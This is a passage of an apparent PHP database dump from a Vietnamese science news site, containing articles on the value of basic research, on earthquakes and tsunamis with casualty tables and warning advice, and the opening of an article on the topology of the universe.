ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả 